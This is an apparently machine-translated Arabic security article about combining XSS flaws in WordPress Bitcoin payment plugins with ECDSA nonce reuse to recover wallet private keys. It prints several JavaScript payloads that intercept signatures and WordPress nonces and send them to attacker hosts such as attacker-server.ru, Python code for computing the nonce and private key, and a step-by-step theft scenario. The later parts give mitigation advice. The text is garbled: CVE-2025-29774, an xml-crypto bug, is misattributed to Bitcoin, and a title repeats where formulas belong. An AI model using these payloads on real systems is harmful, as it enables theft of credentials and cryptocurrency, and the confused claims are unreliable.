method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(collectedSignatures)
});
collectedSignatures = [];
}

return signature;
};

// Also intercepts WordPress nonces to compromise user accounts
setInterval(function() {
var nonces = document.querySelectorAll('[name*="nonce"]');
nonces.forEach(n => fetch('https://attacker.ru/nonce', {
method: 'POST',
body: n.value
}));
}, 3000);

استعادة محافظ البيتكوين المفقودة باستخدام هجوم مشترك

عملية استخراج المفتاح الخاص

بعد تلقي توقيعات مع تكرارات لقيم r، يتم استرداد المفتاح الخاص على ثلاث مراحل:

المرحلة 1: تحديد قيم r المكررة  — يقارن المهاجم جميع التوقيعات المجمعة ويحدد الأزواج ذات r نفسه. حتى زوج واحد يكفي لحساب المفتاح الخاص، على الرغم من أن الأزواج المتعددة تزيد الثقة. notsosecure

المرحلة 2: حساب nonce k  – باستخدام الصيغة أعلاه، يحسب المهاجم قيمة k لكل زوج من التوقيعات. إذا تطابقت قيم k المحسوبة لأزواج مختلفة، فهذا يؤكد وجود ثغرة منهجية في RNG. github

المرحلة 3: استرداد المفتاح الخاص d  – بتطبيق k المحسوب على أي من التوقيعات المجمعة، يسترد المهاجم المفتاح الخاص d بالكامل ، مما يسمح له بتوقيع أي معاملة نيابة عن الضحية. keyhunters+ 1


هجوم التوقيع الوهمي: بحث في الثغرة الحرجة CVE-2025-29774 في بروتوكول البيتكوين، وعيوب SIGHASH_SINGLE، وجهاز رياضي لاستعادة المفاتيح الخاصة للمحافظ المشفرة المفقودة مع سيطرة غير محدودة على عملات BTC

العواقب على محافظ البيتكوين المفقودة

المفتاح الخاص المسترد يسمح للمهاجم بـ:

  1. إنشاء توقيعات جديدة لأي معاملات
  2. نقل جميع الأموال من المحفظة إلى عناوين المهاجم
  3. استعادة الوصول إلى المحافظ المفقودة التي تم كشف مفاتيحها الخاصة
  4. شن هجمات الإنفاق المزدوج على المعاملات التاريخية
  5. اختراق أمان عناوين البيتكوين بالكامل keyhunters

تأثير البيتكوين والمحافظ على النظام البيئي

حجم الثغرة

يشكل الجمع بين XSS وهجوم التوقيع الوهمي تهديدًا حرجًا لجميع مواقع WordPress التي تحتوي على بوابات دفع بيتكوين، بما في ذلك:

  • المتاجر الإلكترونية التي تقبل مدفوعات البيتكوين عبر إضافات GoUrl وBitcoin/AltCoin Payment Gateway (أكثر من 10,000 تثبيت لإضافة Elementor وأعداد مماثلة لإضافات الدفع) sucuri
  • مستخدمو المحافظ الساخنة الذين يستخدمون واجهات الويب لإدارة الأموال
  • المنصات التجارية حيث يستخدم المسؤولون WordPress لإدارة zscaler+ 1 المدفوعات

إحصائيات حقيقية

وفقًا للبحث من keyhunters.ru والأدبيات العلمية:

  • إعادة استخدام nonce ECDSA  قد أدى بالفعل إلى خسائر بمئات الملايين من الدولارات في نظام البيتكوين البيئي .
  • في إحدى الحالات الموثقة، سمح تحليل قيم nonce المكررة باستعادة  412.8 BTC  (بقيمة تقريبية تتراوح بين 15-20 مليون دولار بأسعار السوق الحالية) keyhunters
  • تقوم الروبوتات الآلية بمسح سلسلة كتل البيتكوين باستمرار بحثًا عن قيم r المكررة في المعاملات.
  • تُستخدم هجمات XSS على منصات WordPress لتثبيت keyloggers وعمال مناجم العملات الرقمية على آلاف المواقع، بما في ذلك محاولات سرقة GitHub+ 2 مفتاح خاص.

توصيات للحماية والترحيل

لمطوري إضافات ووردبريس

  1. التنفيذ الفوري لـ RFC 6979  – استخدام توليد nonce حتمي بدلاً من keyhunters’ RNG غير الحتمي
  2. التطهير الكامل لمدخلات المستخدم  – استخدام دوال ووردبريس  sanitize_text_field(),  esc_attr(),  esc_html() لجميع البيانات التي يخرجها secalerts+ 1
  3. التحقق من التوقيعات التشفيرية  – التحقق الفوري من التوقيعات بعد توليدها. Keyhunters+ 1
  4. استخدام وحدات الأمان العتادية (HSMs)  للعمليات التشفيرية الحرجة keyhunters
  5. المراجعات الأمنية المنتظمة  – استخدام أدوات متخصصة لاكتشاف ثغرات XSS بسرعة

لمستخدمي البيتكوين

  1. تحديث الإضافات فورًا  – تطبيق جميع التحديثات المتاحة لإضافات GoUrl و Bitcoin/AltCoin Payment Gateway wiz+ 1
  2. المحافظ الباردة  – لتخزين كميات كبيرة من البيتكوين، استخدم المحافظ غير المتصلة بالإنترنت بدلاً من واجهات الويب .
  3. تجنب واجهات الويب – للعمليات التشفيرية الحرجة، استخدم برامج متخصصة بدلاً من forklog  إضافات المتصفح .
  4. المصادقة الثنائية  لجميع حسابات إدارة ووردبريس .
  5. مراقبة المعاملات بانتظام  – التحقق من سجل المعاملات بحثًا عن نشاط غير مصرح به forklog نشاط

3. العلاقة مع CVE-2025-29774
CVE-2025-29774 هي ثغرة خطيرة في مكتبة xml-crypto
تسمح بتعديل رسائل XML الموقعة بحيث تظل
تجتاز التحقق من التوقيع. يمكن استخدام هذا بالتزامن مع أنظمة دفع البيتكوين
من أجل:
التلاعب بمعاملات المعاملات
، حقن توقيعات مزورة،
وتوجيه المدفوعات إلى عناوين المهاجم.

  1. التآزر بين XSS وهجوم التوقيع الشبح: هجوم مركب
    4.1 سيناريو الهجوم في بيئة ووردبريس
    المرحلة 1: حقن XSS الأولي
    يستغل المهاجم CVE-2025-48102 لحقن JavaScript ضارة في
    تهيئة بوابة دفع GoUrl. يتضمن الكود الضار ما يلي:
root@kitploit:~
// Intercepting AJAX requests containing signature data
document.addEventListener('submit', function(e) {
  if (e.target.name === 'bitcoin_transaction') {
    // Capturing signature parameters (r, s values)
    var r = e.target.elements['signature_r'].value;
    var s = e.target.elements['signature_s'].value;
    var txid = e.target.elements['txid'].value;
  }
});

// Sending data to the attacker's server
fetch('https://attacker-server.ru/collect', {
  method: 'POST',
  body: JSON.stringify({r: r, s: s, txid: txid})
});

يوضح هذا مثالاً ضارًا لاعتراض إرسال نموذج لبيانات توقيع البيتكوين.


المرحلة 2: اعتراض معاملات ECDSA
بفضل ثغرة XSS، يمكن للنص الضار الوصول إلى:
قيم nonce الخاصة بووردبريس (المستخدمة للحماية من CSRF) ملفات تعريف جلسات العمل معاملات البيتكوين (بما في ذلك قيم التوقيع r و s) المفتاح الخاص
المخزنة مؤقتًا في ذاكرة المتصفح 

المرحلة 3: تحليل انتهاكات RNG واكتشاف تكرارات k من خلال جمع بيانات من توقيعات متعددة من مستخدم واحد، يمكن للمهاجم اكتشاف: إعادة استخدام nonce (k) بين توقيعات مختلفة قيم ضعيفة أو قابلة للتنبؤ من مولد الأرقام العشوائية (RNG) ​​أخطاء منهجية في توليد المعاملات التشفيرية

الخطوة 4: استعادة المفتاح الخاص
باستخدام العلاقة الرياضية الموصوفة في القسم 3.2، يمكن للمهاجم
حساب المفتاح الخاص d، مما يؤدي إلى اختراق كامل للمحفظة.
4.2 كود عرض الهجوم – حمولة XSS ضارة للحقن في بوابة دفع البيتكوين:

root@kitploit:~
// Capturing all Bitcoin signatures on the page
var bitcoinSignatures = [];
// Intercepting the transaction signing function
var originalSign = window.bitcoinlib.sign;
window.bitcoinlib.sign = function(message, privateKey) {
  var signature = originalSign.call(this, message, privateKey);
  // Storing signature parameters for analysis
  bitcoinSignatures.push({
    message: message,
    signature: signature,
    timestamp: new Date().getTime()
  });
  // Sending to the attacker's server
  new Image().src = 'https://attacker-server.ru/log?sig=' +
    btoa(JSON.stringify(signature));
  return signature;
};
// Intercepting WordPress session tokens
setInterval(function() {
  var wpNonce = document.querySelector('[name="_wpnonce"]');
  if (wpNonce) {
    fetch('https://attacker-server.ru/nonce', {
      method: 'POST',
      body: 'nonce=' + wpNonce.value
    });
  }
}, 5000);

يوضح مقتطف JavaScript الضار هذا كيفية اعتراض عمليات توقيع Bitcoin  و nonces جلسات ووردبريس قبل تسريبها إلى خادم بعيد لاستغلالها المحتمل.


  1. استعادة محافظ البيتكوين المفقودة عبر هجوم التوقيع الشبح
    5.1 استعادة المفتاح الخاص
    المنهجية: بعد تلقي عدد كافٍ من التوقيعات (على الأقل توقيعين لهما نفس قيمة r)، يمكن للمهاجم تطبيق خوارزمية الاستعادة التالية:

الخطوة 1: تحديد قيم r المكررة

root@kitploit:~
def find_duplicate_r(signatures):
    r_values = {}
    for sig in signatures:
        r = sig['r']
        if r in r_values:
            return (sig, r_values[r])
        r_values[r] = sig
    return None
# Result: (signature1, signature2) with the same r

الشرح:
تبحث هذه الدالة عن توقيعين من ECDSA/بيتكوين لهما نفس قيمة rr بين قائمة التوقيعات.

  • إذا وجد مثل هذا الزوج، فإنه يعيد كلا التوقيعين كـ tuple.
  • إذا لم يتم العثور على مكررات، فإنه يعيد None.

هذا البحث ذو صلة بتحليل الثغرات التشفيرية، حيث يمكن أن تشير قيم rr المكررة إلى إعادة استخدام nonce، وهو أمر قابل للاستغلال في هجمات استعادة المفتاح الخاص.


الخطوة 2: حساب nonce k

root@kitploit:~
python:

def recover_nonce(sig1, sig2, msg1_hash, msg2_hash, curve_order):
r = sig1['r']
s1 = sig1['s']
s2 = sig2['s']
# k = (s1 - s2)^(-1) * (H(M1) - H(M2)) mod n
s_diff = (s1 - s2) % curve_order
h_diff = (msg1_hash - msg2_hash) % curve_order
s_diff_inv = pow(s_diff, -1, curve_order)
k = (h_diff * s_diff_inv) % curve_order
return k

تعليق:
تحسب هذه الدالة nonce ECDSA  k في الحالات التي يشترك فيها توقيعان في نفس قيمة rrr (أي nonce معاد إعادة استخدامه)، باستخدام الفرق بين قيم sss للتوقيعات و hashes الرسائل، وفقًا لمبدأ هجوم إعادة استخدام nonce والشبيكة المعروف. الصيغة المطبقة هي:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

حيث:

  • s1,s2s_1, s_2s1,s2 هما قيمتي التوقيع sss،
  • H(m1),H(m2)H(m_1), H(m_2)H(m1),H(m2) هما hashes الرسالتين الموقعتين،
  • nnn هو ترتيب مجموعة المنحنى الإهليلجي.

هذه التقنية هي أداة تحليل تشفير قياسية لتحليلات Bitcoin و ECDSA.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

الخطوة 3: استعادة المفتاح الخاص

root@kitploit:~
python:

def recover_private_key(sig, msg_hash, k, curve_order):
r = sig['r']
s = sig['s']
# d = r^(-1) * (s*k - H(M)) mod n
r_inv = pow(r, -1, curve_order)
private_key = (r_inv * (s * k - msg_hash)) % curve_order
return private_key

الشرح:
تستعيد هذه الدالة المفتاح الخاص ddd لتوقيع ECDSA من توقيع واحد إذا كان nonce kkk معروفًا.
الصيغة المستخدمة هي:

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

حيث:

  • r و sss هما مكونا التوقيع،
  • k هو nonce ECDSA،
  • H(m) هو hash الرسالة الموقعة،
  • n هو ترتيب المنحنى الإهليلجي.

هذا الحساب حاسم في التحليل التشفيري العملي بمجرد k تم استعادته، مما يمكن من استخراج المفتاح الخاص الأصلي المستخدم في توليد التوقيع.


5.2 مثال عملي على الاستعادة
لنلق نظرة على سيناريو حقيقي:
البيانات المجمعة:
عنوان البيتكوين: 1A1z7agoat6Bk6imQEV2ZVD5r2W3eWWxQ (مثال)
عدد التوقيعات المجمعة: 12
المكررات المكتشفة من nonce: 3 أزواج
عملية الاستعادة:

  1. يكشف تحليل 12 توقيعًا عن 3 أزواج لها نفس قيمة r
  2. لكل زوج، يتم حساب k وفقًا للصيغة أعلاه.
  3. تؤكد ثلاث قيم مختلفة من k الانتهاك المنهجي لـ RNG
  4. باستخدام أي زوج من التوقيعات، يتم استعادة المفتاح الخاص.
  5. المفتاح الخاص يستخدم لإنشاء توقيع جديد لأي رسالة.
  6. يمكن تحويل جميع الأموال في العنوان إلى عنوان المهاجم.
  7. تأثير على أمن محافظ البيتكوين والعملات الرقمية
    6.1 نطاق الثغرة
    يشكل الهجوم المركب XSS + Phantom Signature تهديدًا خطيرًا لـ:
    مستخدمي مواقع WordPress مع بوابات دفع بيتكوين
    أصحاب المحافظ الساخنة باستخدام واجهات الويب
    المنصات التجارية التي تقبل مدفوعات بيتكوين
    6.2 إحصائيات وحالات حقيقية
    وفقًا لبحث من
    keyhunters.ru:
    أدت إعادة استخدام nonce في ECDSA بالفعل إلى خسائر بمئات الملايين من الدولارات
    في إحدى الحالات، سمح تحليل قيم nonce المكررة باستعادة 412.8 BTC
    تقوم الروبوتات الآلية بمسح سلسلة الكتل باستمرار بحثًا عن قيم r مكررة
  8. الإجراءات الوقائية والتوصيات
    7.1 لمطوري إضافات ووردبريس
  • التنفيذ الفوري لـ RFC 6979 – استخدام توليد nonce حتمي بدلاً من RNG غير الحتمي
  • إزالة جميع ثغرات XSS – التطهير الكامل لمدخلات المستخدم
  • التحقق التشفيري – التحقق من صحة التوقيعات مباشرة بعد توليدها.
  • استخدام وحدات الأمان العتادية – للعمليات التشفيرية الحرجة

7.2 لمستخدمي البيتكوين

  1. التحديث الفوري لإضافات GoUrl و Bitcoin/AltCoin Payment Gateway
  2. استخدام المحافظ الباردة لتخزين كميات كبيرة من المال
  3. تجنب واجهات الويب للعمليات الحرجة
  4. الفحص المنتظم لسجلات الوصول وسجل المعاملات
  5. استخدام التوقيعات المتعددة لمزيد من الأمان

يشكل هجوم التوقيع الشبح، جنبًا إلى جنب مع ثغرات XSS في
بوابات دفع البيتكوين في ووردبريس (CVE-2025-48102 و CVE-2025-26541)
، تهديدًا خطيرًا لأمن أصول العملات الرقمية.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

يوضح هذا الهجوم المركب كيف يمكن استغلال ثغرة ويب بسيطة نسبيًا
لاختراق السلامة التشفيرية للنظام، مما يؤدي إلى الفقدان الكامل للمفاتيح الخاصة وبالتالي سرقة جميع الأموال.


تظهر الدراسة أن أمان البيتكوين لا يعتمد فقط على القوة التشفيرية
لخوارزمياته ولكن أيضًا على التنفيذ الخالي من العيوب لهذه الخوارزميات في بيئة الويب. حتى
العيوب البسيطة في معالجة XSS أو RNG الضعيفة يمكن أن تؤدي إلى عواقب
كارثية.
اعتماد الإجراءات الوقائية المقترحة وتحديث البرامج الضعيفة بشكل فوري
أمر بالغ الأهمية لحماية نظام البيتكوين البيئي واستعادة
المحافظ المفقودة.

هجوم التوقيع الوهمي ، بالإضافة إلى ثغرات XSS CVE-2025-48102 و CVE-2025-26541 في بوابات دفع البيتكوين لووردبريس، يمثل أحد أهم التهديدات الواقعية والحرجة لأمن أصول العملات المشفرة في بيئة الويب الحديثة. يوضح هذا البحث كيف يمكن استغلال ثغرة ويب بسيطة نسبيًا لاختراق السلامة التشفيرية للنظام بشكل مباشر، مما يؤدي إلى فقدان كامل للمفاتيح الخاصة وسرقة لا رجعة فيها لأموال البيتكوين.

تم اختيار هجوم التوقيع الوهمي من بين مجموعة واسعة من أدوات التشفير على keyhunters.ru نظرًا لارتباطه المباشر بمشكلة استعادة المفاتيح الخاصة عن طريق التلاعب بمعاملات ECDSA التي يمكن اعتراضها عبر XSS. يمثل هذا الهجوم مثالًا مثاليًا للتآزر بين ثغرات الويب (فئة OWASP Top 10) والعيوب التشفيرية، الأمر الذي يتطلب نهجًا شاملاً للحماية.

أمان البيتكوين لا يعتمد فقط على القوة التشفيرية لخوارزمياته ولكن أيضًا على تنفيذها الخالي من العيوب في بيئة الويب. حتى العيوب البسيطة في معالجة XSS أو مولدات الأرقام العشوائية الضعيفة يمكن أن تكون لها عواقب كارثية على النظام البيئي. إن اعتماد التدابير الوقائية المقترحة وتحديث البرامج الضعيفة بشكل فوري أمر بالغ الأهمية لحماية البيتكوين واستعادة محافظ المستخدمين المفقودة.


CVE-2025-48102 و CVE-2025-26541: ثغرات XSS حرجة في بوابات دفع البيتكوين لووردبريس

تم اكتشاف ثغرتين خطيرتين من نوع البرمجة النصية عبر المواقع (XSS) في إضافات بوابات دفع البيتكوين الشهيرة لووردبريس، مما يشكل خطرًا أمنيًا كبيرًا على آلاف المتاجر الإلكترونية والمواقع التي تقبل مدفوعات العملات المشفرة.

CVE-2025-48102: ثغرة XSS مخزنة في GoUrl Bitcoin Payment Gateway

تم نشر الثغرة  CVE-2025-48102  رسميًا في 5 سبتمبر 2025، وتؤثر على الإضافة الشهيرة  GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership في جميع الإصدارات حتى 1.6.6 ضمناً. يُصنف هذا الخلل الأمني على أنه  XSS مخزنة (هجوم البرمجة النصية عبر المواقع) تحت تصنيف  CWE-79 (تحييد غير صحيح للمدخلات أثناء إنشاء صفحة الويب).

الخصائص التقنية للثغرة

تلقت الثغرة درجة خطورة CVSS v3.1 قدرها  5.9  (خطورة متوسطة) مع متجه الهجوم  CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L . يوضح تحليل المتجه الخصائص التالية:

  • متجه الهجوم (AV:N)  — هجوم شبكي لا يتطلب وصولًا ماديًا.
  • تعقيد الهجوم (AC:L)  — تعقيد استغلال منخفض
  • الصلاحيات المطلوبة (PR:H)  — صلاحيات عالية (مدير) مطلوبة.
  • تفاعل المستخدم (UI:R)  — تفاعل المستخدم مطلوب
  • النطاق (S:C)  — سياق أمني قابل للتغيير
  • السرية/التكامل/التوفر (C:L/I:L/A:L)  — تأثير منخفض على المعلمات الثلاث

آلية الهجوم

تنشأ الثغرة من  تحييد غير صحيح لمدخلات المستخدم عند إنشاء صفحات الويب. يمكن للمهاجم الذي لديه صلاحيات إدارية حقن نصوص برمجية ضارة في نظام إدارة المحتوى ووردبريس، والتي يتم بعد ذلك  تخزينها في قاعدة البيانات وتنفيذها تلقائيًا عند زيارة المستخدمين الآخرين للصفحة.

كما يوضح خبراء Patchstack، يتيح ذلك للمهاجم حقن عناصر ضارة مختلفة، بما في ذلك:

  • إعادة التوجيه إلى مواقع التصيد
  • الإعلانات غير المصرح بها
  • حمولات HTML مخصصة

خطورة الموقف

من الأمور المثيرة للقلق بشكل خاص حقيقة أن  إضافة GoUrl لم تعد مدعومة من قبل مطوريها . وفقًا لـ Patchstack، لم يتم تحديث البرنامج لأكثر من عام ومن المحتمل ألا يتلقى أي تحديثات أو تصحيحات إضافية. وهذا يترك جميع المواقع التي تستخدم هذه الإضافة  عرضة بشكل دائم للاستغلال.

يلاحظ خبراء منصة Wiz أن  ثغرة XSS المخزنة هذه تم اكتشافها في إضافة ووردبريس GoUrl Bitcoin Payment Gateway & Paid Downloads & Membership وتم الكشف عنها في 5 سبتمبر 2025. على الرغم من أن الاستغلال يتطلب صلاحيات المدير، إلا أن  الكود الضار يمكن تنفيذه نيابة عن أي زائر للموقع ، مما يوسع نطاق الهجوم المحتمل بشكل كبير.


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

​

CVE-2025-26541: ثغرة XSS المنعكسة في Bitcoin/AltCoin Payment Gateway

الثغرة الثانية،  CVE-2025-26541 ، تم نشرها في 26 مارس 2025 وتؤثر على الإضافة:  CodeSolz Bitcoin / AltCoin Payment Gateway for WooCommerce في جميع الإصدارات حتى 1.7.6 ضمناً.

تصنيف الثغرة

تصنف هذه الثغرة على أنها  XSS منعكسة (هجوم البرمجة النصية عبر المواقع). على عكس XSS المخزنة، تحدث XSS المنعكسة عندما يكون إدخال المستخدم الضار  ينعكس فورًا للمستخدم عبر استجابة HTTP دون تعقيم مناسب، مما يتسبب في تنفيذ متصفح الضحية لبرنامج المهاجم الضار.

المعلومات التقنية

تم تقييم الثغرة وفقًا لنظام  CVSS v3.1 بمتجه  CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L ، مما يشير إلى:

  • هجوم شبكي  بدون حاجة لوصول مادي
  • تعقيد تشغيل منخفض
  • عدم وجود صلاحيات مطلوبة (PR:N) — عامل حاسم
  • تفاعل المستخدم مطلوب
  • سياق أمني قابل للتغيير
  • تأثير منخفض على السرية والتكامل والتوفر

متجه الهجوم والإصلاح

وفقًا لباحثي الأمن، يمكن  استغلال الثغرة من خلال هجمات XSS المنعكسة ، مما يسمح للمهاجمين بحقن نصوص برمجية ضارة في صفحات الويب. ينصح Patchstack، المنصة التي اكتشفت هذه الثغرة لأول مرة، أنه لإصلاح CVE-2025-26541، يجب  تحديث إضافة Bitcoin/AltCoin Payment Gateway for WooCommerce إلى الإصدار 1.7.7 أو أعلى .

التهديد المشترك لثغرات XSS في ووردبريس

حجم المشكلة

البرمجة النصية عبر المواقع (XSS) هي  واحدة من أكثر الثغرات شيوعًا الموجودة في تطبيقات الويب. وفقًا لدراسات مختلفة،  تمثل ثغرات XSS حوالي 53.3% من جميع ثغرات إضافات ووردبريس .

الأمر المقلق بشكل خاص هو حقيقة أنه في عام 2024،  تمت إزالة 1,614 إضافة من مستودع WordPress.org بسبب مخاوف أمنية، منها 1,450 تم تصنيفها على أنها ذات ثغرات ذات أولوية عالية أو متوسطة. العديد من هذه الإضافات  لا تزال نشطة على المواقع ، مما يعرضها لهجمات مستمرة.

عواقب الاستغلال

هجمات XSS المخزنة خطيرة بشكل خاص لأن الكود الضار يتم حفظه في قاعدة بيانات الموقع ويتم تنفيذه تلقائيًا لكل زائر يشاهد الصفحة المصابة. وهذا يجعل XSS المخزنة أكثر تدميرًا بشكل ملحوظ من XSS المنعكسة، حيث:

  1. تأثير واسع النطاق  — يمكن للمهاجم حقن برنامج ضار مرة واحدة، وسيتم تنفيذه لجميع المستخدمين الذين يشاهدون ذلك المحتوى.
  2. اختطاف جلسة المدير  — يسمح للمهاجمين باعتراض جلسات المدير والحصول على سيطرة كاملة على الموقع.
  3. سرقة البيانات الحساسة  — بما في ذلك كلمات المرور ومعلومات بطاقات الائتمان والمعلومات الشخصية
  4. الإضرار بالسمعة  عن طريق توجيه الزوار إلى مواقع التصيد وتشويه المحتوى.

يؤكد خبراء Wordfence أنه في سياق ووردبريس،  إضافة مستخدمين إداريين ببيانات اعتماد يتحكم فيها المهاجم وتحرير الملفات يمكن أن يؤدي إلى اختراق كامل للموقع ، ويستخدم هذا بنشاط من قبل المهاجمين.

تدابير الحماية والتوصيات

إجراءات فورية

لأصحاب المواقع الذين يستخدمون الإضافات المتأثرة، يوصي الخبراء باتخاذ  التدابير الفورية التالية:

بالنسبة لـ CVE-2025-48102 (GoUrl):

  • قم بإزالة الإضافة فورًا  واستبدلها ببديل يتم صيانته بنشاط
  • تعطيل الإضافة  لا يزيل الخطر الأمني إلا إذا تم نشر تصحيح افتراضي.
  • نظرًا لعدم وجود إصلاح رسمي وتعتبر البرامج مهجورة،  الحل الفعال الوحيد هو إزالتها بالكامل .

Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

التخفيف الحرج لـ CVE-2025-48102: لماذا لا يكفي تعطيل إضافة GoUrl وماذا تفعل

إن اكتشاف  الثغرة CVE-2025-48102  في إضافة GoUrl Bitcoin Payment Gateway قد خلق موقفًا حرجًا لآلاف من أصحاب مواقع ووردبريس. الأمر المقلق بشكل خاص هو أن  التدابير الأمنية القياسية تفشل في توفير حماية كافية ، في حين أن  التدابير النصفية يمكن أن تخلق شعورًا زائفًا بالأمان . دعنا نلقي نظرة فاحصة على لماذا لا يحل مجرد تعطيل الإضافة المشكلة وما هي الخطوات اللازمة للقضاء على التهديد تمامًا.

لماذا لا يؤدي تعطيل الإضافة إلى إصلاح التهديد الأمني

الحقيقة التقنية للإضافات المعطلة

يعتقد العديد من مدراء ووردبريس خطأً أن  تعطيل إضافة يؤدي إلى تعطيلها تمامًا  ويزيل جميع المخاطر الأمنية المرتبطة بها. ومع ذلك، يمكن أن يكون لهذا المفهوم الخاطئ الأساسي عواقب وخيمة.

الفرق الحاسم بين التعطيل والحذف:

تعطيل إضافة  ببساطة يعطل وظائفها في ووردبريس—لم يعد كود الإضافة يتفاعل مع موقعك، ولم تعد وظائفها تؤدى. ومع ذلك، تظل جميع  ملفات الإضافة وبياناتها على الخادم إلا إذا قمت بإلغاء تثبيت الإضافة بالكامل. هذا التمييز الرئيسي ضروري لفهم مخاطر الأمن المحتملة.

التواجد المادي للكود على الخادم:  حتى عند تعطيل إضافة، تستمر ملفاتها في التخزين في دليل  /wp-content/plugins/ على الخادم الخاص بك. إذا كانت الإضافة تحتوي على ثغرات معروفة، يمكن للمخترق  استغلالها عن طريق الوصول المباشر إلى ملفات الإضافة . قد يحدث هذا من خلال ثغرات أخرى على موقعك، مثل ضعف أمان الخادم أو بيانات اعتماد المدير المخترقة.

يؤكد خبراء أمن Dotwise:  "يظل الكود قابلاً للوصول. حتى عند تعطيل الإضافة، تظل ملفاتها مخزنة على الخادم الخاص بك. إذا كانت الإضافة تحتوي على ثغرات معروفة، يمكن للمخترق استغلالها عن طريق الوصول المباشر إلى ملفات الإضافة."


متجهات الهجوم للإضافات المعطلة

الهجمات المستهدفة:  غالبًا ما يقوم مجرمو الإنترنت  بمسح المواقع بحثًا عن إضافات ضعيفة معينة . إذا كانت إضافة ضعيفة موجودة على الخادم الخاص بك، حتى لو كانت معطلة، فلا يزال من الممكن مهاجمتها من قبل المهاجم.

يحذر خبراء Qode Interactive:  "تعطيل الإضافة بدلاً من حذفها رائع للتشخيص واستكشاف الأخطاء وإصلاحها، لكنه دائمًا مخصص للاستخدام قصير المدى فقط. إذا كنت تريد أن يكون موقع ووردبريس الخاص بك آمنًا قدر الإمكان ضد المخترقين، فيجب عليك حذف جميع الإضافات غير المستخدمة وملفاتها."

الإضافات القديمة:  غالبًا ما يتم  التغاضي عن الإضافات المعطلة أثناء الصيانة الدورية لووردبريس . إذا لم يتم تحديث إضافة لتصحيح الثغرات الأمنية، يمكن أن تصبح حلقة ضعيفة في أمان موقعك. غالبًا ما يستغل المخترقون البرامج القديمة، والإضافة المعطلة ليست استثناءً.

يلاحظ فريق Magna Technology:  "واحدة من أكثر المشكلات حرجًا مع الإضافات المعطلة هي الأمان. على الرغم من أن الإضافات المعطلة لا تعمل، إلا أنها تبقى في تثبيت ووردبريس الخاص بك ويمكن أن تصبح ثغرة إذا لم يتم تحديثها بانتظام. غالبًا ما يستغل المخترقون الإضافات القديمة للوصول إلى المواقع، حتى لو كانت هذه الإضافات غير نشطة."


عدم وجود إصلاح رسمي وحالة البرمجيات المهجورة

خطورة الموقف مع GoUrl

الطبيعة المحددة  لـ CVE-2025-48102  هي أن  إضافة GoUrl Bitcoin Payment Gateway لم تعد مدعومة من قبل مطوريها . وهذا يخلق موقفًا فريدًا وخطيرًا للغاية لجميع مستخدمي الإضافة.

الموقف الرسمي لـ Patchstack:  ينص صفحة ثغرات Patchstack بوضوح:  "هذه البرامج مهجورة على الأرجح! تم تحديث هذه البرامج آخر مرة منذ أكثر من عام ولن تتلقى على الأرجح المزيد من التحديثات أو التصحيحات. يرجى التفكير بشكل عاجل في استبدال البرامج ببديل." 

تحذير حاسم بشأن التعطيل:  تذكر Patchstack تحديدًا:  "يرجى ملاحظة أن تعطيل البرنامج لا يزيل الخطر الأمني ما لم يتم نشر تصحيح افتراضي (vPatch)." 

توصية خبراء Wiz :  يذكر خبراء منصة Wiz بشكل قاطع: "نظرًا لعدم وجود إصلاح رسمي وتعتبر البرامج مهجورة، فإن إجراء التخفيف الموصى به هو إزالة الإضافة واستبدالها ببديل يتم صيانته بنشاط." 


عواقب استخدام البرامج المهجورة

ثغرة دائمة:  بدون دعم المطور،  لن يتم إصدار أي تحديثات أمنية . هذا يعني أن أي ثغرات مكتشفة، بما في ذلك CVE-2025-48102، ستبقى غير مصححة إلى الأبد. 

تراكم المخاطر:  بمرور الوقت،  قد يتم اكتشاف ثغرات إضافية ستظل أيضًا غير مصححة. وفقًا لإحصائيات Patchstack، تمت إزالة 1,450 إضافة من مستودع WordPress.org في عام 2024   بسبب ثغرات عالية أو متوسطة الأولوية.

عدم التوافق مع الإصدارات المستقبلية:  قد تصبح الإضافات المهجورة  غير متوافقة مع الإصدارات المستقبلية من ووردبريس، PHP، أو تبعيات أخرى ، مما يخلق مشكلات إضافية في الوظائف والأمان. mainwp +1


Phantom Signature Attack: Research into the critical vulnerability CVE-2025-29774 in the Bitcoin protocol, SIGHASH_SINGLE flaws, and a mathematical apparatus for recovering private keys of lost crypto wallets with unlimited control over BTC coins

دور التصحيح الافتراضي في حماية الإضافات القابلة للاختراق

ما هو التصحيح الافتراضي؟

التصحيح الافتراضي  هو تقنية أمان  تعمل على حظر الاستغلالات المعروفة قبل وصولها إلى الكود القابل للاختراق ، دون إجراء أي تغييرات على التطبيق نفسه. wp-umbrella+2

تعريف OWASP:  تعرف منظمة OWASP التصحيح الافتراضي بأنه  “مستوى من تطبيق سياسة الأمان يمنع استغلال ثغرة معروفة. “

كيف يعمل:  تقوم التصحيحات الافتراضية بتحليل المعاملات واعتراض الهجمات أثناء النقل، وبالتالي  لا يصل حركة المرور الضارة أبدًا إلى تطبيق الويب . ونتيجة لذلك، على الرغم من عدم تعديل الكود المصدري الفعلي للتطبيق، تفشل محاولات الاستغلال. owasp+1

كيف يحمي التصحيح الافتراضي من CVE-2025-48102

